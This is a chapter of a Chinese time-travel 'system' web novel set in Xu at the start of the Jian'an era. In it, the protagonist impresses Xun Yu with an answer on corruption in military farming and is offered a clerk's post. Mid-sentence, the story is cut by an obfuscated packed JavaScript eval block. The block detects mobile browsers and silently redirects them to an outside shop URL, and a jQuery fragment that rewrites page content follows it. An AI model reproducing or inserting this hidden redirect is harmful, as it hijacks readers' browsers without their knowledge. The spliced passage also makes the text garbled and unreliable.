正午刚过,日头斜斜地挂在西南方。陈宁从寄居的客舍出来,穿过两条尚在修缮的里巷,又到了荀悦宅前。门上仆役已经认得他,不待通报便侧身让路,只是低声提了一句:“荀尚书来了。”
陈宁脚步微顿。荀彧官拜尚书令,秩千石,银印青绶,眼下是许都中枢最说得上话的人物。他整了整衣襟,深吸一口气,迈步进了正堂。
堂中开阔,地席上铺着一领青灰色的蒲垫,北面案几后坐着荀悦,右手侧则多了一个人。那人约莫三十六七岁,面容清癯,颌下三缕长须修剪得齐整,眉目之间有一种沉静到极处的从容。他穿一身玄色深衣,衣料是寻常的细麻,却浆洗得挺括服帖,腰间的银印青绶在午后的光影里泛着温润的光。陈宁进门时,此人正在说话,声音不高不低,语速不急不缓,每一个字都像是被称量过才放出来的。
“……枣祗昨日递了条陈,说今岁屯田所获,除去种子和官赋,尚有余粮可供来年春耕之用。任峻那边也报,新附流民已编入屯户者,计有千七百余家。这个数目比预期稍好,但距离填补许都粮仓的缺口,还差得远。”
荀悦点头,正要接话,抬眼看见了门口的陈宁,便笑着招手:“安然来了,快进来坐。”又转向那玄衣人,“文若,这位便是陈宁,陈度之子。我前日和你提过的那篇屯田策论,便是他的手笔。”
荀彧转过头来。
那一瞬间,陈宁感到一种奇异的气场扑面而来。荀彧的目光并不锐利,甚至可以说得上是温和的,但那种温和底下透着一股透彻——像冬日山涧里的水,清可见底,寒意也跟着一起透进骨头里。陈宁忽然意识到,这样一个人之所以能周旋于曹操与汉室之间而游刃有余,靠的大概不全是智谋,更是这种让人在他面前无所遁形的清明。
他躬身行了一礼,双手交叠,额头几乎触到指背:“后学陈宁,见过荀尚书。”
荀彧微微颔首,抬手示意:“坐。”
陈宁在荀悦下首落座。仆役奉上茶汤,他双手接过,却没有喝,只端在膝前。堂中安静了一会儿,荀彧放下手中茶盏,目光落在陈宁脸上。
“悦之说你写的那篇屯田策论,我昨夜看过了。”
陈宁心中一跳。他当然知道荀彧会看到那篇文章——他把它交给荀悦时便存了这个心思——但当真听到“我看过了”四个字从荀彧口中说出来,还是忍不住掌心微微出汗。他尽量稳住呼吸,面上不动声色,等着下文。
“策论本身是不错的。”荀彧的语气平平的,像在陈述一件无关紧要的事,“条理清晰,旁征博引,看得出你翻过《汉书·食货志》,也读过晁错、桑弘羊的旧论。尤其是你提到的‘阶梯税率’——按垦荒年限递减征收比例,前三年免征,中三年减半征,后三年全征,十年之后纳入常赋。这个想法确实精巧,既给了流民喘息之机,又不至于让朝廷长期亏空。”
他停顿了一下。陈宁知道,真正的考题在后头。
“但我有一个问题想问你。”
“请荀公明示。”
荀彧的手指在案面上轻轻叩了一下,指节与木案相触,发出极轻的“笃”的一声。“你策论中谈制度、谈税率、谈田亩分配,写了洋洋三千言,却几乎没提一件事——你知不知道,许都屯田去年才刚刚起步,眼下最大的困难,不在制度设计,而在什么?”
这个问题来得极刁。
陈宁的策论是基于后世的学术研究写成的,他有后见之明,知道屯田制在曹魏历史上的成功,也知道枣祗、任峻最终克服了重重阻力。但对于建安元年、建安二年之交的许都屯田所面临的“当下最实际的困难”,他的了解其实相当粗疏。史书上的记载往往只讲成败得失,不会把推行过程中的具体关节一一写尽。
堂中安静下来。陈宁能感觉到荀彧的目光落在自己身上,并不逼迫,却像一杆无声的秤。答错了,前面积攒的好感顷刻归零;答不上来,更会坐实“纸上谈兵”四个字。
他垂下眼帘,脑海中飞速翻检着读过的史料。屯田推行者是枣祗和任峻,而荀彧是幕后的主持者。枣祗其人,陈宁记得他在《魏书》中的记载:性格刚直,不避权贵,后来因为与曹操意见不合而遭贬斥。任峻则忠厚勤勉,但才能中平。屯田初期的阻力——
流民?不对。流民是屯田的受益者,只要有地种、有粮吃,他们不会抗拒。
豪强?也不全是。许都附近的豪族早在曹操迎献帝后就被打击得差不多了,何况屯田用的是无主荒田,不触动既得利益。
那最难的——
陈宁忽然想起一条边角史料。建安初年,枣祗曾经上书弹劾过几个屯田都尉,罪名是“侵渔屯户,虚报田亩”。后来曹操为此专门下过一道教令,严惩贪墨屯田官。他当时读到这段时并未在意,此刻却如电光石火一般闪过脑海。
他抬起头,迎上荀彧的目光,一字一句地说:“是吏治。”
荀彧的眉毛微微动了一下,幅度极小,若非陈宁正全神贯注地盯着他看,几乎觉察不到。
“屯田之政,利国利民,但推行之初,最难的不是制定规则,而是执行规则的人。流民从各地辗转而来,身无长物,唯一指望的就是官府分给他们的那块地、那几斗种子。屯田官手握分配耕地、征收粮谷之权,上有太守、刺史考核政绩,下有屯户嗷嗷待哺,中间若监管不力,必然滋生贪腐。”
陈宁越说越顺,许多原先模糊的想法在这一刻被串了起来:“或虚报田亩数目以冒领官种子,或私自加征税率为中饱私囊,或偏袒亲故乡党以优田授之。流民初附,本就人心未定,如惊弓之鸟,若再遭盘剥,轻则弃田逃亡,重则聚众生变。所以屯田之成败,三分在制度,七分在选人用人;而选人用人之关键,又在于能否建立一套有效的监察机制——派人巡行各屯,明察暗访,不事先通知,不让人准备。抓到一两个贪墨的,当众严惩,杀鸡儆猴,其余人自然收敛。”
他说完最后一个字,堂中安静了数息。冬日的阳光从窗棂间斜射进来,在青砖地面上投下一道明晃晃的光带,浮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741898|209112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
尘在光柱中缓缓游动。
荀彧端起茶盏,不紧不慢地饮了一口,然后转头看向荀悦。他脸上没有明显表情,语气也依然平淡,但陈宁听得出,那平淡底下多了一丝若有若无的赞许:“你这个故人之子,确实读了书。”
他放下茶盏,重新看向陈宁,目光里多了一点陈宁暂时还读不透的东西:“你愿意在我门下做个书佐吗?”
书佐。尚书台最底层的小吏,连品秩都没有,职责无非是抄录公文、整理卷宗、誊写制书,说白了就是一个人形抄写机。但陈宁几乎没有犹豫——他太清楚这意味着什么了。书佐位卑,却身处中枢机要之地,经手的每一份文书都是朝廷最核心的军政事务。更何况,这意味着他正式进入了荀彧的视野。
“愿为荀公效力。”陈宁起身,郑重行礼。
荀彧点了点头,面上终于浮起一丝极淡的笑意:“明日卯时,来尚书台报到。找门口的值日令史,就说是我让你来的。”
陈宁应下,又坐了片刻,荀彧便起身告辞。他走的时候步履从容,玄色深衣的下摆拂过门槛,银印青绶轻轻晃动,整个人像一道沉静的水流,不留痕迹地淌出了院落。
荀悦送客回来,看着还坐在堂中的陈宁,笑了笑:“文若轻易不开口留人。你在他面前能过这一关,不容易。”
陈宁长长吐出一口气,这才发现后背的衣料已经被汗浸湿了。
走出荀悦家大门时,日光已经偏西,冬日的阳光照在脸上,竟有几分难得的暖意。他站在巷口,看着远处宫阙的飞檐在暮色中勾勒出模糊的轮廓,心里想的却是另一件事。
他方才在荀彧面前所说的那些话,有一半是史料中读来的,另一半却是他自己对制度的理解。但有一个问题他一直没想通:荀彧问那个问题的时候,语气里有一种笃定,像是早就知道答案,只等他自己说出来。那感觉不像是考较,更像是——确认。
确认什么呢?
他暂时没有答案。但系统的提示音适时响起,打断了他的思绪:“恭喜宿主完成任务——获得曹操接见,奖励智力值+1,解锁技能‘过目不忘’。”
陈宁愣了一下,随即明白了。荀彧是曹操最倚重的谋士,他的认可,某种程度上就等同于进入了曹操的视野。系统把这个算作“获得曹操接见”,倒也不算牵强。
他转身往客舍走去。身后,荀悦宅院的灯一盏一盏亮起来,暮色四合,许都城在一片苍茫中沉入夜晚。
而他没有看到的是,在他走后不久,荀悦家的正堂里还有一段简短的对话。
“此人可用?”荀悦问。
荀彧站在门边,望着陈宁消失在巷口的背影,沉默了一会儿才开口,语气淡淡的,辨不出喜恶:“二十岁能写出这样的策论,要么是天才,要么背后有人指点。无论是哪一种,都值得一观。”
他顿了顿,又说了一句只有他自己听得见的话:“陈度当年若能有他儿子一半的谨慎,也不至于……”话没有说完,他收住声,迈步走进了暮色里。